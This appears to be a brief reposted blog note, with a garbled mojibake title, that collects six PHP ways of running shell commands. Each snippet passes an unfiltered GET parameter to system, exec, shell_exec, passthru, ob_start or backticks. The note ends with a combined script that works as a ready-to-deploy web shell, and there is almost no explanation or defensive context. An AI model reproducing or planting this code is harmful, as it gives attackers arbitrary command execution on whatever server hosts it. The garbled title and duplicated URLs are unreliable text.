php鍛戒护鎵ц屽皬闆

2022 年 4 月 5 日2440

c4bbage@qq.com 2012.09.17

0x1 ob_start

1<?php

2//http://http://www.zjjv.com///manual/en/function.ob-start.php

3$cmd="system";

4ob_start($cmd);

5echo "$_GET[cunlide]";

6ob_end_flush();

0x2 system

1//http://http://www.zjjv.com///manual/en/function.system.php

2system("$_GET[cunlide]");

0x3 exec

1//http://http://www.zjjv.com// /manual/en/function.exec.php

2echo exec("$_GET[cunlide]")

0x4 shell_exec

1//http://http://www.zjjv.com///manual/en/function.shell-exec.php

2echo shell_exec("$_GET[cunlide]");

0x5 passthru

1//http://http://www.zjjv.com///manual/en/function.passthru.php

2echo passthru("$_GET[cunlide]");

0x6 ``

1echo `$_GET[cunlide]`;

2?>

鏁翠綋浠g爜

01<?php

02$cmd="system";

03ob_start($cmd);

04echo "$_GET[cunlide]";

05ob_end_flush();

06echo "<br>";

07system("$_GET[cunlide]");

08echo "<br>";

09echo exec("$_GET[cunlide]");

10echo "<br>";

11echo shell_exec("$_GET[cunlide]");

12echo "<br>";

13echo passthru("$_GET[cunlide]");

14echo "<br>";

15echo `$_GET[cunlide]`;

16?>

0 0